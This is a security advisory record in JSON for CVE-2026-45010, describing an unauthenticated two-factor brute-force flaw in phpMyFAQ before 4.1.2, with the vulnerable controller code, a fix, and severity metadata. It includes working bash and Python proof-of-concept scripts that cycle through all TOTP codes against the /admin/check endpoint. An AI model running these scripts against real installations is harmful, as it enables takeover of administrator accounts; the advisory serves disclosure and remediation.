{"id":"CVE-2026-45010","aliases":["CVE-2026-45010","GHSA-9pq7-mfwh-xx2j"],"related":[],"kind":"vulnerability","state":"published","title":"phpMyFAQ - Unauthenticated Two-Factor Authentication Brute-Force via /admin/check Endpoint","summary":"phpMyFAQ before 4.1.2 contains an improper restriction of excessive authentication attempts vulnerability in the /admin/check endpoint, which accepts arbitrary user-id parameters without session binding or rate limiting. Unauthenticated attackers can brute-force any user's six-digit TOTP code by submitting POST requests with sequential token values, bypassing two-factor authentication to gain full administrative access.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"phpMyFAQ before 4.1.2 contains an improper restriction of excessive authentication attempts vulnerability in the /admin/check endpoint, which accepts arbitrary user-id parameters without session binding or rate limiting. Unauthenticated attackers can brute-force any user's six-digit TOTP code by submitting POST requests with sequential token values, bypassing two-factor authentication to gain full administrative access.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe `/admin/check` endpoint in `AuthenticationController` implements `SkipsAuthenticationCheck`, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary `user-id` and `token` values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated `POST /admin/check` with a `user-id` body field returns HTTP 302 to `/admin/token?user-id=<value>`, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.\n\n## Details\n\n**File**: `phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php`, lines 35-36 and 201-228.\n\nThe controller class declaration:\n\n```php\nfinal class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck\n```\n\nThe `SkipsAuthenticationCheck` interface (`phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php`) is a marker interface that tells the `ControllerContainerListener` to skip authentication enforcement. Every route in this controller is reachable without a session.\n\nThe `check` action (line 201-228):\n\n```php\n#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]\npublic function check(Request $request): RedirectResponse\n{\n    if ($this->currentUser->isLoggedIn()) {\n        return new RedirectResponse(url: './');\n    }\n\n    $token = Filter::filterVar($request->request->get(key: 'token'), FILTER_SANITIZE_SPECIAL_CHARS);\n    $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);\n\n    $user = $this->currentUserService;\n    $user->getUserById($userId);\n\n    if (strlen((string) $token) === 6) {\n        $tfa = $this->twoFactor;\n        $result = $tfa->validateToken($token, $userId);\n\n        if ($result) {\n            $user->twoFactorSuccess();\n            $this->adminLog->log($user, AdminLogType::AUTH_2FA_SUCCESS->value . ':' . $user->getLogin());\n            return new RedirectResponse(url: './');\n        }\n\n        $this->adminLog->log($user, AdminLogType::AUTH_2FA_FAILED->value . ':' . $user->getLogin());\n    }\n\n    return new RedirectResponse('./token?user-id=' . $userId);\n}\n```\n\nProblems:\n\n1. **No session binding**: The endpoint accepts `user-id` from the POST body. It does not verify that the caller previously authenticated with a password for that user.\n2. **No rate limit or lockout**: Failed attempts redirect back to the token form with no counter, delay, or account lock.\n3. **Unauthenticated access**: The `SkipsAuthenticationCheck` marker exempts the entire controller from auth enforcement.\n\nThe normal login flow (`/admin/authenticate`) redirects to `/admin/token?user-id=X` after a valid password. But nothing prevents Bob from skipping the password step and hitting `/admin/check` directly.\n\n## Proof of Concept\n\n```bash\n# Step 1: Identify target user ID (admin is typically user_id=1)\nTARGET_HOST=\"http://target.example\"\nUSER_ID=1\n\n# Step 2: Brute-force the 6-digit TOTP code\n# TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window.\n# At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.\n\nfor code in $(seq -w 000000 999999); do\n  RESPONSE=$(curl -s -o /dev/null -w \"%{http_code}:%{redirect_url}\" \\\n    -X POST \"${TARGET_HOST}/admin/check\" \\\n    -d \"token=${code}&user-id=${USER_ID}\")\n\n  # A successful 2FA grants a session and redirects to ./\n  # A failure redirects to ./token?user-id=1\n  if echo \"$RESPONSE\" | grep -qv \"token?user-id=\"; then\n    echo \"[+] Valid TOTP: ${code}\"\n    break\n  fi\ndone\n```\n\n```python\n# Faster parallel version\nimport requests\nfrom concurrent.futures import ThreadPoolExecutor\n\nTARGET = \"http://target.example/admin/check\"\nUSER_ID = 1\n\ndef try_code(code):\n    r = requests.post(TARGET, data={\"token\": f\"{code:06d}\", \"user-id\": USER_ID}, allow_redirects=False)\n    location = r.headers.get(\"Location\", \"\")\n    if \"token?user-id=\" not in location:\n        return code\n    return None\n\nwith ThreadPoolExecutor(max_workers=50) as pool:\n    for result in pool.map(try_code, range(1000000)):\n        if result is not None:\n            print(f\"[+] Valid TOTP: {result:06d}\")\n            break\n```\n\n## Impact\n\nBob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, `twoFactorSuccess()` grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.\n\n**CVSS 3.1**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` (High, 9.1)\n**CWE**: CWE-307 (Improper Restriction of Excessive Authentication Attempts)\n\n## Recommended Fix\n\n1. **Bind the 2FA step to a password-verified session**: Store a flag in the server-side session during `authenticate()` indicating the user passed password auth. The `check` action must verify this flag before accepting TOTP attempts.\n\n2. **Add rate limiting / lockout**: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.\n\n3. **Narrow the SkipsAuthenticationCheck scope**: Move the `/check` and `/token` routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.\n\nExample session-binding fix in `check()`:\n\n```php\n#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]\npublic function check(Request $request): RedirectResponse\n{\n    $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);\n\n    // Require that the session proves password auth for this specific user\n    if ($this->session->get('2fa_pending_user_id') !== $userId) {\n        return new RedirectResponse(url: './login');\n    }\n\n    // ... existing TOTP validation ...\n}\n```\n\nAnd in `authenticate()`, after successful password check:\n\n```php\n$this->session->set('2fa_pending_user_id', $this->currentUser->getUserId());\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","format":"markdown","source":"ghsa"},{"lang":"es","text":"phpMyFAQ anterior a la versión 4.1.2 contiene una vulnerabilidad de restricción inadecuada de intentos de autenticación excesivos en el endpoint /admin/check, que acepta parámetros de ID de usuario arbitrarios sin vinculación de sesión ni limitación de velocidad. Atacantes no autenticados pueden realizar un ataque de fuerza bruta contra el código TOTP de seis dígitos de cualquier usuario enviando solicitudes POST con valores de token secuenciales, eludiendo la autenticación de dos factores para obtener acceso administrativo completo.","source":"nvd"}],"published":"2026-05-06T20:42:54.000Z","modified":"2026-11-08T14:03:35.963Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"},{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-307"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"4.1.2","status":"affected"},{"type":"semver","version":"4.1.2","status":"unaffected"}],"vendor":"thorsten","product":"phpmyfaq","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.1.2"}],"ecosystem":"Packagist","package":"thorsten/phpmyfaq","purl":"pkg:composer/thorsten/phpmyfaq","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.1.2"}],"ecosystem":"Packagist","package":"phpmyfaq/phpmyfaq","purl":"pkg:composer/phpmyfaq/phpmyfaq","source":"ghsa"}],"references":[{"url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9pq7-mfwh-xx2j","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.vulncheck.com/advisories/phpmyfaq-unauthenticated-two-factor-authentication-brute-force-via-admin-check-endpoint","tags":["third-party-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45010","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/thorsten/phpMyFAQ","tags":["package"],"sources":["ghsa"]}],"credits":["adrgs","aisafe-bot"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-05-15T22:11:39.787Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-45010","url":"https://www.cve.org/CVERecord?id=CVE-2026-45010","licence":"CVE Terms of Use","modified":"2026-11-08T14:03:35.963Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9pq7-mfwh-xx2j","url":"https://github.com/advisories/GHSA-9pq7-mfwh-xx2j","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:46.419Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-45010","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45010","licence":"Public domain","modified":"2026-10-26T14:10:00.130Z"}],"updatedAt":"2026-11-25T22:59:21.833Z","epss":{"score":0.00492,"percentile":0.43853,"date":"2026-12-02T12:00:21.000Z"}}